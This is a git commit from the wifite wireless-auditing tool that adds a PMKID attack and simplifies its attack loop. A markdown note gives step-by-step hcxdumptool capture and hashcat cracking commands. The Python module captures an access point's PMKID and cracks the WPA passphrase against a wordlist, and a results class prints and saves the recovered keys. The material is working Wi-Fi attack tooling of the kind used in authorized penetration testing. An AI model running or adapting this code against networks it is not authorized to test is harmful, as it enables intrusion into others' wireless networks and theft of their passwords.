Added PMKID attack. Simplified attack-loop.

This commit is contained in:
derv82
2018-08-15 11:08:12 -07:00
parent 0d44a6bc3d
commit 936230dd50
7 changed files with 371 additions and 81 deletions

33
PMKID.md Normal file
View File

@@ -0,0 +1,33 @@
### PMKID Attack
See https://hashcat.net/forum/thread-7717.html
### Steps
1. Start `hcxdumptool` (daemon)
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
* Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
* New result type: `pmkid_result`
* Add entry to `cracked.txt`
4. Run crack attack using hashcat:
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
### Problems
* Requires latest hashcat to be installed. This might be in a different directory.
* Use can specify path to hashcat? Yeck...
* % hashcat -h | grep 16800
* 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
* Might need to scrape `hcxdumptool`'s output
* Look at `pmkids()` func in .bashrc
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
* Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily

105
wifite/attack/all.py Normal file
View File

@@ -0,0 +1,105 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
from ..util.input import raw_input
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining)
if not should_continue:
break
return attacked_targets
@classmethod
def attack_single(cls, target, targets_remaining):
attacks = []
if Configuration.use_eviltwin:
pass # TODO:EvilTwin attack
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors
if target.wps:
attacks.append(AttackWPS(target))
attacks.append(AttackPMKID(target))
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
return
for attack in attacks:
try:
result = attack.run()
if result and attack.success:
break # We cracked it.
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not cls.user_wants_to_continue(targets_remaining, 1):
return False # Stop attacking other targets
if attack.success:
attack.crack_result.save()
return True # Keep attacking other targets
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True

165
wifite/attack/pmkid.py Normal file
View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
'''
TODO:
1. Rename AttackWPA to AttackWpaHandshake
2. Rename AttackWPS to AttackWpaPixie
3. Rename AttackPMKID to AttackWpaPMKID
4. Use AttackWPA to try any or all of the above depending on config/args.
Greatly simplifies the attack loop in wifite.py
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
'''
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_output = Configuration.temp('pmkid.pcapng')
self.pmkid_output = Configuration.temp('pmkid.16800')
def run(self):
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.hcxdump_thread)
t.start()
# Regularly check hcxpcaptool output for hash for self.target.essid
pmkid_hash = None
while self.timer.remaining() > 0:
pmkid_hash = self.get_pmkid_hash()
if pmkid_hash is not None:
# Got PMKID
break
Color.pattack('PMKID', self.target, 'capture',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
if pmkid_hash is not None:
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
# When hash is found, start cracking
if self.crack_pmkid(pmkid_hash):
self.success = True
self.keep_capturing = False
return self.success
def crack_pmkid(self, pmkid_hash):
# Write hash to file
# TODO: Should we write this to ./hs/ with .pmkid suffix?
hash_file = Configuration.temp('pmkid.hash')
with open(hash_file, 'w') as f:
f.write(pmkid_hash)
f.write('\n')
# Run hashcat
command = [
'hashcat',
'--force',
'--quiet',
'-m', '16800',
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
hash_file,
Configuration.wordlist
]
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
stdout = ''
if ':' not in stdout:
# Failed
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
#self.crack_result.dump()
return False
else:
# Update Crack Result
key = stdout.strip().split(':', 1)[1]
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
self.crack_result.dump()
return True
def get_pmkid_hash(self):
if os.path.exists(self.pmkid_output):
os.remove(self.pmkid_output)
command = [
'hcxpcaptool',
'-z', self.pmkid_output,
self.pcapng_output
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_output):
return None
with open(self.pmkid_output, 'r') as f:
output = f.read()
# Check that we got the right target
# pmkid_hash*bssid*station_mac*essid(hex)
for line in output.split('\n'):
fields = line.split('*')
if len(fields) < 3:
continue
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
continue
output = line
break
os.remove(self.pmkid_output)
return output
def hcxdump_thread(self):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_file:
filter_file.write(self.target.bssid.replace(':', ''))
if os.path.exists(self.pcapng_output):
os.remove(self.pcapng_output)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", self.target.channel,
"-o", self.pcapng_output
]
hcxdump_proc = Process(command)
# Let the dump tool run until we have the hash.
while self.keep_capturing and hcxdump_proc.poll() == None:
time.sleep(0.5)
hcxdump_proc.interrupt()

View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_hash, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_hash = pmkid_hash
self.key = key
super(CrackResultPMKID, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.pmkid_hash:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID'.rjust(19), self.pmkid_hash))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid' : self.pmkid_hash
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'abcd1234')
w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'Key')
print('\n')
w.dump()
w.save()
print(w.__dict__['bssid'])

View File

@@ -89,6 +89,13 @@ class CrackResult(object):
json['essid'],
json['pin'],
json['psk'])
elif json['type'] == 'PMKID':
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid'],
json['key'])
result.date = json['date']
return result

View File

@@ -138,7 +138,7 @@ class Airmon(Dependency):
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_ETHER):
if (int(f.read()) == Airmon.ARPHRD_ETHER):
return iface
return None
@@ -341,8 +341,11 @@ class Airmon(Dependency):
if not Configuration.kill_conflicting_processes:
# Don't kill processes, warn user
for pid, pname in pid_pnames:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
names_and_pids = ', '.join([
'{R}%s{O} (PID {R}%s{O})' % (pname, pid)
for pid, pname in pid_pnames
])
Color.pl('{!} {O}conflicting processes: %s' % names_and_pids)
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return

View File

@@ -11,9 +11,7 @@ from .util.process import Process
from .util.color import Color
from .util.crack import CrackHandshake
from .util.input import raw_input
from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS
from .attack.all import AttackAll
from .model.result import CrackResult
from .model.handshake import Handshake
from .tools.dependency import Dependency
@@ -60,81 +58,7 @@ class Wifite(object):
else:
targets = s.select_targets()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
# TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin:
pass
elif 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
# TODO: Move WPS+WPA decision to a combined attack
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)